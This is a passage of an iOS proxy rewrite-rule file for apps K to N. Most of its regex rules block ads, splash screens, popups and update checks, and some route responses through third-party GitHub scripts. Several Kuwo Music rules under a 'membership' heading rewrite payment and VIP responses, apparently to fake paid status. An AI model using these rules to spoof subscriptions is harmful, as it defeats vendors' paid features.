+^https?:\/\/www\.gcores\.com\/gapi\/v1\/app-start-pages\?page url reject-dict + +# > 街电 微信小程序 +# hostname = s.jiediankeji.com +^https?:\/\/s\.jiediankeji\.com\/adv url reject-dict + +# > 极简汇率 +# hostname = explorer.tratao.com +^https?:\/\/explorer\.tratao\.com\/api\/client\/v4\/xtransfer\/ad\/ url reject + +# > 锦江荟APP +# hostname = booking.bestwehotel.com +^https:\/\/booking\.bestwehotel\.com\/proxy\/trip-hotel-banner\/activity\/getActivityInfo url reject-200 + + + +# >>>>>>>>>>>>>>> ✅ K ✅ <<<<<<<<<<<<<< +# > keep +# hostname = api.gotokeep.com, kad.gotokeep.com, static1.keepcdn.com +^https?:\/\/static1\.keepcdn\.com\/ark_optimus\/202\d\/*\/*\/.*.(png|jpg) url reject-200 +# 屏蔽应用内弹窗 +^https?:\/\/api\.gotokeep\.com\/guide-webapp\/v\d\/popup\/getPopUp url reject +# 屏蔽部分启动弹窗 +^https?:\/\/api\.gotokeep\.com\/kprime\/v\d\/popups\/primeGuide url reject +# 屏蔽开屏广告请求 +^https?:\/\/kad\.gotokeep\.com\/op-engine-webapp\/v\d\/ad url reject +# 屏蔽青少年弹窗 +^https?:\/\/api.gotokeep.com/cauchy/growth/init url reject +# 屏蔽搜索栏自动填充词 +^https?:\/\/api\.gotokeep\.com\/search\/v\d\/default\/keyword\/list url reject +# 屏蔽热词 +^https?:\/\/api\.gotokeep\.com\/search\/v\d\/hotword\/list url reject +# 屏蔽hotCourse +^https?:\/\/api\.gotokeep\.com\/search\/v\d\/hotCourse\/list url reject +# 屏蔽adwebapp +^https?:\/\/api\.gotokeep\.com\/op-engine-webapp\/v\d\/ad url reject +# 屏蔽广告预加载 +^https?:\/\/api\.gotokeep\.com\/ads\/v\d\/ads\/preload url reject +# 屏蔽adbox +^https?:\/\/api\.gotokeep\.com\/training\/box\/config url reject +# 屏蔽更新 +^https?:\/\/api\.gotokeep\.com\/anno\/v\d\/upgrade\/check url reject +# 我的页面去推广 +^https?:\/\/api\.gotokeep\.com\/athena\/v\d\/people\/my$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js +# 应用底部栏净化 +# ^https?:\/\/api\.gotokeep\.com\/config\/v\d\/basic url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js +# 发现页处理 +^https?:\/\/api\.gotokeep\.com\/homepage\/v\d\/tab url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js +# 课程预览页广告 +^https?:\/\/api\.gotokeep\.com\/nuocha\/course\/v\d/\w+\/preview url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js +# 我的运动页面去除下方推荐 +^https?:\/\/api\.gotokeep\.com\/sportpage\/sport\/v\d\/mysport url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js + +# > 快看 +# hostname = api.kkmh.com +^https?:\/\/api\.kkmh\.com\/v\d\/ad\/show url reject-200 +^https?:\/\/api\.kkmh\.com\/v\d\/advertisement\/ url reject-200 + +# > 快手 +# hostname = open.e.kuaishou.com +^https?:\/\/open\.e\.kuaishou\.com\/rest\/e\/v\d\/open\/univ$ url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/adsense.js + +# > 夸克 +# hostname = open-cms-api.uc.cn, open-cms-api.quark.cn +^https?:\/\/open-cms-api\.(uc|quark)\.cn\/open-cms url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/quark.js + +# > 酷我音乐 +# hostname = audiobookpay.kuwo.cn, mgxhtj.kuwo.cn, nmobi.kuwo.cn, searchrecterm.kuwo.cn, musicpay.kuwo.cn, vip1.kuwo.cn +# 广告 +^https?:\/\/audiobookpay\.kuwo\.cn\/a\.p\?op=get_advertright_endtime url reject-dict +^https?:\/\/(mgxhtj|nmobi|searchrecterm)\.kuwo\.cn\/(mgxh|mobi|recterm)\.s url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js +# 会员 +^https?:\/\/audiobookpay\.kuwo\.cn\/a\.p url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js +^https?:\/\/musicpay\.kuwo\.cn\/music\.pay url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js +^https?:\/\/vip1\.kuwo\.cn\/vip\/(enc\/user\/vip\?op=ui|v\d\/theme\?op=gd) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js +^https?:\/\/vip1\.kuwo\.cn\/vip\/v\d\/user\/vip\?op=ui url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js + +# > 看天下 +# hostname = open3.vistastory.com +^https?:\/\/open3\.vistastory\.com\/v\d\/api\/index\/loading_ad url reject +^https?:\/\/open3\.vistastory\.com\/v\d\/api.*get_popup url reject + +# > 看理想 +# hostname = api.vistopia.com.cn +^https?:\/\/api\.vistopia\.com\.cn\/api\/v\d\/home\/advertisement url reject + +# > 快递100 +# hostname = cdn.kuaidi100.com, p.kuaidi100.com +^https?:\/\/cdn\.kuaidi100\.com\/images\/open\/appads url reject-img +^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do url reject + +# > 开源中国 +# hostname = www.oschina.net +^https?:\/\/www\.oschina\.net\/action\/apiv2\/get_launcher url reject-img + +# > 快手联盟,优量汇,穿山甲「广告联盟」 +# hostname = api-access.pangolin-sdk-toutiao.com, mi.gdt.qq.com, open.e.kuaishou.com +^https:\/\/(api-access\.pangolin-sdk-toutiao\.com\/api\/ad\/union\/sdk\/get_ads|open\.e\.kuaishou\.com\/rest\/e\/v3\/open\/univ$|mi\.gdt\.qq\.com\/gdt_mview\.fcg\?) url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/adsense.js + +# > 口袋校园 +# hostname = pocketuni.net +^https?:\/\/pocketuni\.net\/\?app=api&mod=Message&act=ad url reject-200 + +# > 考公雷达/公考雷达 +# hostname = api.gongkaoleida.com +^https?:\/\/api\.gongkaoleida\.com\/api\/v2\/ad\/info url reject-dict + +# > 酷安 +# hostname = api.coolapk.com +# ^https?:\/\/api\.coolapk\.com\/v6\/search\?.*type=hotSearch url reject-dict +^https?:\/\/api\.coolapk\.com\/v6\/feed\/(detail|replyList)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/coolapk.js +^https?:\/\/api\.coolapk\.com\/v6\/main\/(dataList|indexV8|init) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/coolapk.js +^https?:\/\/api\.coolapk\.com\/v6\/page\/dataList\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/coolapk.js + +# > 肯德基 +# hostname = res.kfc.com.cn +^https?:\/\/res\.kfc\.com\.cn\/CRM\/kfcad\/apphome5\/apphome url reject-200 +^https?:\/\/res\.kfc\.com\.cn\/CRM\/kfcad\/apphome6\/\w+\.json\? url reject-dict +^https?:\/\/res\.kfc\.com.\cn\/advertisement\/ url reject + + + + +# >>>>>>>>>>>>>>> ✅ L ✅ <<<<<<<<<<<<<< +# > Line +# hostname = a.line.me, ad.line-scdn.net, buy.line.me, cix.line-apps.com, crs-event.line.me, d.line-scdn.net, gw.line.naver.jp, legy.line-apps.com, nelo2-col.linecorp.com, obs.line-scdn.net, scdn.line-apps.com, sch.line.me, static.line-scdn.net, uts-front.line-apps.com, w.line.me +https:\/\/a\.line\.me\/er\/lads\/v\d\/ei\? url reject-img +https:\/\/a\.line\.me\/er\/l.*\/v\d\/event\/image url reject-img +https:\/\/a\.line\.me\/lass\/api\/v\d\/ads$ url reject +https:\/\/a\.line\.me\/oa\/v\d\/e$ url reject +https:\/\/a\.line\.me\/cs\/v\d\/oa$ url reject +https:\/\/ad\.line-scdn\.net\/0h.+\/(o|m)\d+x\d+$ url reject-img +https:\/\/gw\.line\.naver\.jp\/ext\/lgfp\/lad\/v1$ url reject +https:\/\/gw\.line\.naver\.jp\/lass\/api\/v1\/ads$ url reject +https:\/\/gw\.line\.naver\.jp\/tr\/event$ url reject +https:\/\/legy\.line-apps\.com\/ext\/lgfp\/lad\/v1$ url reject +https:\/\/legy\.line-apps\.com\/ext\/smartch\/banner\/sch\/v1$ url reject +https:\/\/legy\.line-apps\.com\/tr\/event$ url reject +https:\/\/w\.line\.me\/adp\/api\/ad\/v\d\/ url reject +https:\/\/buy\.line\.me\/api\/graphql\?variables url reject +https:\/\/crs-event\.line\.me\/v\d\/imp url reject +https:\/\/obs\.line-scdn\.net\/0h.+\/(o|m)\d+x\d+$ url reject +https:\/\/obs\.line-scdn\.net\/0hGH\d url reject +https:\/\/obs\.line-scdn\.net\/0h.+\/\d+p\.mp4$ url reject +https:\/\/obs\.line-scdn\.net\/r\/linecrs\/.+\/m180x180$ url reject-img +https:\/\/d\.line-scdn\.net\/lcp-prod-photo\/20.+\.(jpg|jpeg|png) url reject-img +https:\/\/cix\.line-apps\.com\/R4\? url reject +https:\/\/scdn\.line-apps\.com\/appresources\/moretab\/list\.json url reject +https:\/\/scdn\.line-apps\.com\/lan\/image\/line\/bannerImageEvent\/ url reject +https:\/\/scdn\.line-apps\.com\/lan\/document\/pageEvent\/line\/ios\/ url reject +https:\/\/sch\.line\.me\/api\/v\d\/ads$ url reject +https:\/\/uts-front\.line-apps\.com\/event$ url reject +https:\/\/uts-front\.line-apps\.com\/settings$ url reject +https:\/\/static\.line-scdn\.net\/ad-sdk\/ url reject +https:\/\/nelo2-col\.linecorp\.com\/_store$ url reject + +# > LocSim +# hostname = app.aa-ab.com +# 屏蔽虚拟定位升级弹窗 +^https?:\/\/app\.aa-ab\.com\/home url reject-200 + +# > lofter +# hostname = ad.lofter.com, images.pinduoduo.com, lofter.lf127.net +# 开屏广告 感谢@林夕分享 +^https?:\/\/ad\.lofter.com\/v1\.1\/yitou\/madr url reject-200 +^https?:\/\/images\.pinduoduo\.com\/marketing\_api url reject-200 +^https?:\/\/lofter\.lf127\.net\/ad\-material url reject-200 + +# > linxi +# hostname = api.internetofcity.cn +^https?:\/\/api\.internetofcity\.cn\/api\/resource\/anon\/popups\/(getSplashList|getList) url reject + +# > 拉卡拉 +# hostname = gmp.lakala.com, wallet.lakala.com +^https:\/\/(?:gmp|wallet)\.lakala\.com\/(?:gmp\/openapi\/v2\/resource_space\/getResourceSpace|m\/(?:a\/lama\/mgt\/activity\/biz\/query\/byMerInfo|lama\/mgt\/activity\/(?:bank|biz)\/query\/list)) url reject-dict +# > 懒人听书 +# hostname = 118.178.214.118, dapis.mting.info, display.wting.info +^https?:\/\/118\.178\.214\.118\/yyting\/advertclient\/ClientAdvertList\.action url reject-img +^https?:\/\/dapis\.mting\.info\/yyting\/advertclient\/ClientAdvertList\.action url reject-img +^https?:\/\/.*\/yyting\/advertclient\/ClientAdvertList.action url reject +^https?:\/\/display\.wting\.info\/.*.jpeg url reject-200 + +# > 懒投资 +# hostname = ios.lantouzi.com +^https?:\/\/ios\.lantouzi\.com\/api\/startpage url reject + +# > 来疯 +# hostname = api.laifeng.com, api.jxedt.com +^https?:\/\/api\.laifeng\.com\/v\d\/start\/ads url reject +^https?:\/\/api\.jxedt\.com\/ad\/ url reject-200 + +# > 来电 小程序净化 +# hostname = mobile-api.imlaidian.com +^https?:\/\/mobile-api\.imlaidian\.com\/api\/args url reject-dict + +# > 莱充 +# hostname = mobile.laichon.com, shop.laichon.com +^https?:\/\/(mobile|shop)\.laichon\.com\/api\/(v1\/goods\/goodsList|exposureAdvStatistics|getWebAdvList) url reject + +# > 蓝基因 +# hostname = tk.lanjiyin.com.cn +# 首页弹窗广告 OCc分享 +^https?:\/\/tk\.lanjiyin\.com\.cn\/ad\/getAdList url reject + +# > 乐橙 +# hostname = dl-cu-hz.lechange.cn +^https:\/\/dl-cu-hz\.lechange\.cn\/oms-online\/advertisementPush url reject + +# > 乐堡潮玩馆小程序 +# hostname = tbgapplet.carlsberg.asia +# 开屏广告+弹窗广告 +^https?:\/\/tbgapplet\.carlsberg\.asia\/tuborg\/banner\/(loading|index) url reject-dict + +# > 联想 +# hostname = api.club.lenovo.cn +^https?:\/\/api\.club\.lenovo\.cn\/common\/open_ad url reject + +# > 拦截100 +# hostname = tagit.hyhuo.com +^https?:\/\/tagit\.hyhuo\.com\/recover\/list url reject + +# > 旅法师营地 +# hostname = www.iyingdi.cn +^https?:\/\/www\.iyingdi\.cn\/ad url reject-200 + +# > 旅途随身听 +# hostname = www.1314zhilv.com +^https?:\/\/www\.1314zhilv\.com\/ltsstnew\/(guideScenic\/getRecentlyUpdatedScenic|city\/getWeatherByCityName) url reject-dict +# 首页北京城市导览图片,首页上方轮播图片净化 +^https?:\/\/www\.1314zhilv\.com\/ltsstnew\/(common\/getJGQIconNew|city\/getAllBannelByCity) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lvtusuishenting/ltsst-ad.js + +# > LING Club-原菱菱邦 +# hostname = cdn-oss.00bang.cn, api.00bang.cn +# (第一条一劳永逸,误杀很多,后面几条没有误杀,需要频繁更新规则) +#^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS[A-Z0-9]{32}.jpg url reject-200 +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS50140C35669841B7A4218215C8C5338A\.jpg url reject-200 +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS32D553B6981546909417BEF3B7A3BC4D\.jpg url reject-200 +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSSC8A54C9913CA475DABECA1054A219CA2\.jpg url reject-200 +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS2FC543D52E7447678660A4D9EC4F6C60\.jpg url reject-200 +^https?:\/\/api\.00bang\.cn\/llb\/baseinfo\/advertise\/getAdvertiseByPageCode url reject-200 + +# > 两步路 +# hostname = helper.2bulu.com +https?:\/\/helper\.2bulu\.com\/(greenPea\/queryTasks|proSpecial\/allData|saveSplashFrequencyStatistics|getPopInfo|getAppEntranceConfig|promote\/list|getSplash|outing\/reqFoundNewList|outing\/reqIndex) url reject + +# > 猎聘 +# hostname = api-ac.liepin.com, api-wanda.liepin.com +^https?:\/\/api-ac\.liepin\.com\/api\/com\.liepin\.cyclops\.live\.get-ad-cards url reject-dict +^https?:\/\/api-wanda\.liepin\.com\/api\/com\.liepin\.cbp\.baizhong\.op\.v2-show-4app url reject-200 + +# > 鲁班到家用户版 +# hostname = order-app-api.lbdj.com +# 去开屏广告 +^https:\/\/order-app-api\.lbdj\.com\/lbdj\/apporder\/ad\/ url reject-dict + +# > 罗森点点 +# hostname = plt.yorentown.com, lawsonapi.yorentown.com +^https:\/\/plt\.yorentown\.com\/pltapp\/v1\/banner url reject-dict +^https:\/\/lawsonapi\.yorentown\.com\/area\/sh-lawson\/app\/v1\/ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lawson.js +^https:\/\/lawsonapi\.yorentown\.com\/portal\/app\/globalLaunch\/listAdvert url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lawson.js + + + +# >>>>>>>>>>>>>>> ✅ M ✅ <<<<<<<<<<<<<< +# > MIX +# hostname = dispatcher.camera360.com +^https?:\/\/dispatcher\.camera360\.com\/api\/v\d\/list$ url reject + +# > 妈妈网孕育 +# hostname = qimg.cdnmama.com +# 开屏广告 +^https?:\/\/qimg\.cdnmama\.com\/rd url reject-dict + +# > 猫耳FM +# hostname = app.missevan.com +# 开屏广告 感谢【可莉🅥】分享 +^https?:\/\/app\.missevan\.com\/site\/launch\? url reject + +# > 猫眼 +# hostname = p0.pipi.cn +# 开屏广告 +^https:\/\/p0\.pipi\.cn\/adAdmin\/\w+\.jpg\?imageMogr2\/quality\/ url reject-dict +^https:\/\/p0\.pipi\.cn\/adAdmin\/\w+\.(jpg|png)\?imageMogr2\/thumbnail\/(860x0|!165x165|!1049x1169) url reject-dict + +# > 每日精选 +http:\/\/dili.sqcosmos.com\/jiekou\/mains\/p\d+.html jsonjq-response-body '.album |= map(select(.id != "4154" and .id != "4165"))' +http:\/\/dili.sqcosmos.com\/jiekou\/endpage\/ad url reject-dict + +# > 美团 & 美团外卖 +# hostname = img.meituan.net, s3plus.meituan.net, flowplus.meituan.net +^https?:\/\/wmapi\.meituan\.com\/api\/v7\/(loadInfo|openscreen|startpicture)\? url reject-dict +^https?:\/\/(s3plus|flowplus)\.meituan\.net\/v\d\/\w+\/linglong\/\w+\.(gif|jpg|mp4) url reject-dict +^https?:\/\/img\.meituan\.net\/bizad\/bizad_brandCpt_\d+\.jpg url reject-dict +^https?:\/\/s3plus\.meituan\.net\/ocean-blk-index\/index\/blk_conf_73\.json url reject-dict +^https?:\/\/s3plus\.meituan\.net\/v1\/mss_\w+\/(brandcpt-vedio|waimai-alita)\/\w+\.zip$ url reject-dict +# 美团订单详情页更多推荐 +^https?:\/\/apimobile\.meituan\.com\/group\/v1\/recommend\/unity\/recommends url reject-dict + +# > 美团众包 +# hostname = peisongapi.meituan.com +^https?:\/\/peisongapi\.meituan\.com\/client\/getInitiateImage url reject-200 + +# > 美团充电宝小程序 +# hostname = cdb.meituan.com +^https?:\/\/cdb\.meituan\.com\/marketing\/source\/getPageSlotList url reject-dict + +# > 美柚 +# hostname = x.seeyouyima.com, axxd.xmseeyouyima.com +^http:\/\/x\.seeyouyima\.com\/adx\/staticstics\? url reject +^https:\/\/axxd\.xmseeyouyima\.com\/ad\/ url reject +^https:\/\/axxd\.xmseeyouyima\.com\/ad_statistics\? url reject +^https:\/\/axxd\.xmseeyouyima\.com\/v1\/getad\? url reject +^https:\/\/axxd\.xmseeyouyima\.com\/pregetad\? url reject +^https:\/\/config-service\.seeyouyima\.com\/api\/configs\/batch\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/meiyou/meiyou_ads.js +^https:\/\/config-service\.seeyouyima\.com\/api\/configs\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/meiyou/meiyou_ads.js + +# > 每日优鲜 +# hostname = j-image.missfresh.cn +^https?:\/\/j-image\.missfresh\.cn\/img_(.+)\.gif$ url reject +^https?:\/\/j-image\.missfresh\.cn\/img_(.+)\.(jpg|jpeg|gif|png)\?iopcmd=convert&dst=webp&q=85$ url reject + +# > 买单吧 +# hostname = creditcardapp.bankcomm.cn, creditcardapp.bankcomm.com, creditcard.bankcomm.cn, creditcard.bankcomm.com +^https?:\/\/creditcard\.bankcomm\.(com|cn)\/tfimg\/public00\/M00\/[a-zA-Z0-9]{2}\/[a-zA-Z0-9]{2}\/[a-zA-Z0-9-]{30}\.(jpg|jpeg) url reject +^https?:\/\/creditcardapp\.bankcomm\.(com|cn)\/mappweb_interface\/common\/(qryPopAds|qryLaunchAds)\.do url reject-200 +^https?:\/\/creditcardapp\.bankcomm\.(com|cn)\/rcg\/index\.html\?callbackurl=rcg\/index\.html&orclogin=1& url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/mdb.js +^https?:\/\/creditcardapp\.bankcomm\.(com|cn)\/mappweb_interaction\/appInfo\/appNewestVersion url reject-200 + +# > 民生银行 +# hostname = www.cmbc.com.cn, rs.creditcard.cmbc.com.cn +^https?:\/\/www\.cmbc\.com\.cn\/m\/image\/loadingpage\/ url reject-200 +^https?:\/\/www\.cmbc\.com\.cn\/m\/image\/banner\/.*.png url reject-200 +# > 全民生活 +^https?://rs.creditcard.cmbc.com.cn/mmc/img/126f35586ece469aa2daf2e451ba7b4d.jpg url reject-200 + +# > 芒果TV +# hostname = *.mgtv.com +# 无用请求 +^https?:\/\/[\d\.]+:\d{5}\/\?cmd=indexes url reject +# 首页左上角推广 +^https?:\/\/[\d\.]+\/odin\/c1\/(channel\/ads|skin\/config)\? url reject-dict +# 底部tab红点 +^https?:\/\/damang\.api\.mgtv\.com\/station\/album\/red\/dot\? url reject-dict +# 播放器界面 +^https?:\/\/hb-boom\.api\.mgtv\.com\/release\/pullReleaseInfo url reject-dict +# 我的页面 +^https?:\/\/me\.bz\.mgtv\.com\/v3\/module\/list\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 首页信息流,顶部tab +^https?:\/\/mob-st\.bz\.mgtv\.com\/odin\/c1\/channel\/index\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +^https?:\/\/dc2?\.bz\.mgtv\.com\/dynamic\/v1\/channel\/(index|vrsList)\/\w url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 底部tab +^https?:\/\/mobile\.api\.mgtv\.com\/mobile\/config\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 升级弹窗 +^https?:\/\/mobile\.api\.mgtv\.com\/v2\/mobile\/checkUpdate\? url reject-dict +# 播放详情页 +^https?:\/\/mobile\.api\.mgtv\.com\/v10\/video\/info\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +^https?:\/\/mobile-thor\.api\.mgtv\.com\/v1\/vod\/info\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 搜索框填充词 +^https?:\/\/mobileso\.bz\.mgtv\.com\/spotlight\/search\/v1\? url reject-dict +^https?:\/\/mobileso\.bz\.mgtv\.com\/mobile\/recommend\/v2\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js + +# > 马蜂窝 +# hostname = mapi.mafengwo.cn +^https?:\/\/mapi\.mafengwo\.cn\/(travelguide\/)?ad url reject +^https?:\/\/mapi\.mafengwo\.cn\/widget\/note\/get_widget_note url reject +^https?:\/\/mapi\.mafengwo\.cn\/system\/update\/check_update url reject-dict +^https?:\/\/mapi\.mafengwo\.cn\/system\/config\/(get|mark)_(push|alert)_config url reject-dict +^https?:\/\/mapi\.mafengwo\.cn\/system\/push\/get_local_push_config url reject +^https?:\/\/mapi\.mafengwo\.cn\/user\/profile\/get_(list|profile) url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/mafengwo.js + +# > 马达出行 +# hostname = mada-travel.17u.cn, ebk.17u.cn +# 开屏广告 +^https:\/\/mada-travel\.17u\.cn\/mdapi\/config\/ads url reject-dict +# 我的会员中心 +^https:\/\/mada-travel\.17u\.cn\/mdapi\/config\/mine url reject-dict +# 首页下方推广 +^https:\/\/mada-travel\.17u\.cn\/mdapi\/config\/tabAct url reject-dict +# 屏蔽更新 +^http:\/\/ebk\.17u\.cn\/tctrafficappversionadmin\/api\/getLatestVersionApp url reject-dict + +# > 咪咕视频 +# hostname = ggc.miguvideo.com, public-deliver9.miguvideo.com, display*-sc.miguvideo.com, recommend-dy.miguvideo.com, app-sc.miguvideo.com, common-sc.miguvideo.com, ggx*.miguvideo.com, ggic*.miguvideo.com +^https?:\/\/ggc\.miguvideo\.com\/v1\/iflyad\/deliverysystem\/direct\/ url reject-img +^https?:\/\/public-deliver9\.miguvideo\.com\/deliver\/site\/batchMatch\/mergeSpot\/miguvideo\/ url reject-dict +^https?:\/\/recommend-dy\.miguvideo\.com\/recommend-dynamic\/dataSource\/v1\/recommend\/merge url reject-dict +^https?:\/\/app-sc\.miguvideo\.com\/app-management\/v1\/staticcache\/settings\/miguvideo\/SHARE_PIC url reject-dict +^https?:\/\/common-sc\.miguvideo\.com\/videoActivity\/activityList\/ url reject-dict +^https?:\/\/ggx.+\.miguvideo\.com\/request\/sdk.+[^?]*$ url reject-dict +^https?:\/\/ggic\d+.miguvideo\.com\/ad\/ url reject-dict +^https?:\/\/display-sc\.miguvideo\.com\/display\/v3\/static\/PERSONAL_CENTER$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/refs/heads/main/Scripts/miguvideo/miguvideo_ads.js + +# > 秒拍 +# hostname = b-api.ins.miaopai.com +^https?:\/\/b-api\.ins\.miaopai\.com\/\d\/ad/ url reject + +# > 美图秀秀 +# hostname = mea.meitudata.com, adui.tg.meitu.com +^https?:\/\/mea\.meitudata\.com\/kaiping url reject +^https?:\/\/adui\.tg\.meitu\.com url reject-dict + +# > 马卡龙玩图 +# hostname = app.api.versa-ai.com, static01.versa-ai.com +^https?:\/\/app\.api\.versa-ai\.com\/launch\/ads\? url reject-200 +^https?:\/\/static01\.versa-ai\.com\/upload\/ec0ba51d68f9\/.*.jpg url reject-200 + +# > 蘑菇租房 +# hostname = api.mgzf.com +^https?:\/\/api\.mgzf\.com\/renter-operation\/home\/startHomePage url reject + +# > 美味不用等 +# hostname = capi.mwee.cn +^https?:\/\/capi\.mwee\.cn\/app-api\/V\d{2}\/app\/(ad|getstartad) url reject + +# > 漫画人 +# hostname = mangaapi.manhuaren.com, *mangaapi.manhuaren.* +^https?:\/\/mangaapi\.manhuaren\.com\/v\d\/public\/getStartPageAds url reject +^https?:\/\/.*mangaapi\.manhuaren\.\w{2,4}\/v\d\/public\/(getStartUpMessage|getStartPageAds|getShelfActivity) url reject +^https?:\/\/.*mangaapi\.manhuaren\.\w{2,4}\/v\d\/ad url reject + +# > 埋堆堆 +# hostname = sfo.mddcloud.com.cn, mob.mddcloud.com.cn, toblog.ctobsnssdk.com, t-dsp.pinduoduo.com, mobads-pre-config.cdn.bcebos.com, sdk1xyajs.data.kuiniuca.com,conf-darwin.xycdn.com,*.ubixioe.com +^https?:\/\/mob\.mddcloud\.com\.cn\/adApi\/advert\/(first|third)part\/advertList url reject-dict +^https?:\/\/t-dsp\.pinduoduo\.com url reject-200 +^https?:\/\/mobads-pre-config\.cdn\.bcebos\.com\/preload\.php url reject-200 +^https?:\/\/sfo\.mddcloud\.com\.cn\/api\/v\d\/sfo\/popup_displays? url reject-dict +^https?:\/\/tower\.ubixioe\.com\/mob\/mediation url reject +^https?:\/\/toblog\.ctobsnssdk\.com url reject-200 +^https?:\/\/conf-darwin\.xycdn\.com url reject-dict +^https?:\/\/sdk1xyajs\.data\.kuiniuca\.com url reject + +# > 脉脉 +# hostname = open.taou.com, h3.open.taou.com +# 感谢【可莉】分享 +# 开屏广告、职位页面横幅 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/adshow\? url reject-dict +# 赠送礼物 - 横幅 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/pay\/v5\/check_gift\? url reject-dict +# 帖子文末推广卡片 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/go_gossip_darwin\/external\/v2\/query_flow_cards\? url reject-dict +# 帖子末尾 - 看过此贴的用户也在看 +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/feed\/v6\/detail_recommend_feeds\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/maimai/maimai_ads.js +# 移除信息流和评论区大块广告 - 信息流广告focus_feed / 评论区广告gossip_detail_comment / 评论区广告feed_detail_comment? +^https:\/\/(h3\.)?open\.taou\.com\/maimai\/(feed|gossip)\/v\d\/(focus_feed|gossip_detail_comment|feed_detail_comment?)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/maimai/maimai_ads.js + +# > 麦当劳 +# hostname = api.mcd.cn +^https?:\/\/api\.mcd\.cn\/bff\/portal\/home\/splash url reject-200 + + + +# >>>>>>>>>>>>>>> ✅ N ✅ <<<<<<<<<<<<<< +# > NTPlay +# hostname = blog.nilbt.com +# 去升级弹窗 【Hua alex】分享 +^https?:\/\/blog\.nilbt\.com\/static\/api\/update url reject-200 + +# > 农业银行 +# hostname = midc.cdn-static.abchina.com.cn, enjoy.cdn-static.abchina.com +# ^https?:\/\/midc\.cdn-static\.abchina\.com\.cn\/distributecenterimg\/file\/download\/(?!bbc2|f015|1655|0992|4678|a194|d8e2|c513|e51c|0ee1|166e|05ca|c882|d5b8|22ed|a0dc|a55a|6f89|3bf9|3c71|52ec|5b62|ve7a|001c|923d|accf|4a10|0bd7|be7a|5b62|5dd6|1f24|006c|775d|bd02|b983|5251|806b|d119|db14|43c9|41d3|8570|2c10|85ea|1435|814e|f422|aec7|738c|d7c8|0538|02b4|fd20|7647|f6ef|07c5|885b|e4cb|685b|30aa|c23b|9603|f27f|eaf8|8011|a5eb|409d|724c|3f2a|e07f|6744|60a6|158c|8ce3) url reject-dict +^https?:\/\/midc\.cdn-static\.abchina\.com\.cn\/distributecenterimg\/file\/download\/(ed64|74b5) url reject +^https?:\/\/enjoy\.cdn-static\.abchina\.com\/yx-engine-web\/file\/download\/(?!7dc2|fe96|cea3|06a8|1b11|d57b|6918|61db|2d58|aa23|) url reject-200 +^https?:\/\/firefly\.abchina\.com\.cn\/firefly-collection\/Collect url reject-200 + +# > 奈菲影视 +# hostname = www.nfmovies.com +^https?:\/\/www\.nfmovies\.com\/pic\/tu\/ url reject-img +^https?:\/\/www\.nfmovies\.com\/templets\/default\/images\/logos url reject-img +^https?:\/\/www\.nfmovies\.com\/uploads\/images\/play\.jpg url reject-img + +# > 南方航空 +# hostname = 3g.csair.com +# 弹窗 +^https?:\/\/3g\.csair\.com\/CSMBP\/bookProcess\/homepopup\/queryAdvertisement url reject-200 + +# > 宁聚 +# hostname = api.nj.nbtv.cn +# 开屏广告 +^https?:\/\/api\.nj\.nbtv\.cn\/v2\/advertise\/advertise-r1\/get-list\?data=u8obKDIrIWt2NR9wBuMwQ5O61eEsP url reject-200 +# 弹窗广告 +^https?:\/\/api\.nj\.nbtv\.cn\/v\d\/common\/system-boot-inform\/detail url reject-200 + +# > 牛津高阶词典第十版 +# hostname = oxadmin.cp.com.cn 